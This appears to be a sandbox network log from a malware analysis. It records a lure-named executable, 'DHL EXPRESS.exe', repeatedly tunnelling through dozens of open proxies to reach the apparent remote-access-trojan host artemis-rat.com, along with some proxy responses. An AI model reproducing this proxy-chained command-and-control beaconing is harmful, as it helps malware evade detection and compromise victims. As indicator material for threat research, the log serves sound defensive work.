Mar 11, 2024 18:37:10.566076994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.565701008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.680516958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.784456968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:10.800120115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:58.800106049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1929	192.168.2.8	54669	14.47.70.137	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.538419008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.565928936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1930	192.168.2.8	54583	162.214.170.144	31701	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.544469118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.565934896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.566143990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.566076994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.565701008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.680516958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.785171986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:10.800120115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:58.800139904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1931	192.168.2.8	54673	103.162.141.154	85	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.544634104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.565928936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.635559082 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1932	192.168.2.8	52970	103.180.123.141	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.549900055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.565918922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.566148996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.308974981 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1933	192.168.2.8	53021	103.231.78.36	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.568175077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.949127913 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 17:19:51 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1934	192.168.2.8	54725	142.54.239.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.571162939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1935	192.168.2.8	54823	89.46.249.148	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.584064007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.768934011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863517046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.959904909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.065702915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.190735102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:47.190684080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:11.190807104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1936	192.168.2.8	55247	103.76.12.58	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.584068060 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1937	192.168.2.8	53232	45.174.87.18	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.595670938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.597165108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706661940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706521988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706335068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.696979046 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1938	192.168.2.8	54945	74.208.12.35	43100	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.598936081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.597167969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706653118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706537962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706327915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.706543922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.709072113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:10.706399918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:58.706484079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1939	192.168.2.8	54916	192.111.139.165	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.602245092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1940	192.168.2.8	55225	125.122.26.242	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.618519068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1941	192.168.2.8	54758	68.1.210.189	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.629364014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1942	192.168.2.8	54846	178.253.236.139	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.634421110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.399139881 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 719 Content-Type: text/html Date: Thu, 02 Apr 1970 03:27:56 GMT Expires: Thu, 02 Apr 1970 03:27:56 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1943	192.168.2.8	54939	194.44.36.114	6868	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.634629965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706397057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706825018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706582069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706327915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1944	192.168.2.8	53358	80.13.43.193	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.640023947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.262176991 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:35:47 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 18:36:59.262501001 CET	270	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 44

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1945	192.168.2.8	53420	41.33.203.231	1981	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.640779018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1946	192.168.2.8	53289	66.210.33.34	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.641700983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706397057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706810951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706581116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706335068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1947	192.168.2.8	53251	51.161.131.84	43712	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.646831036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.362772942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1948	192.168.2.8	53370	172.105.52.78	31106	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
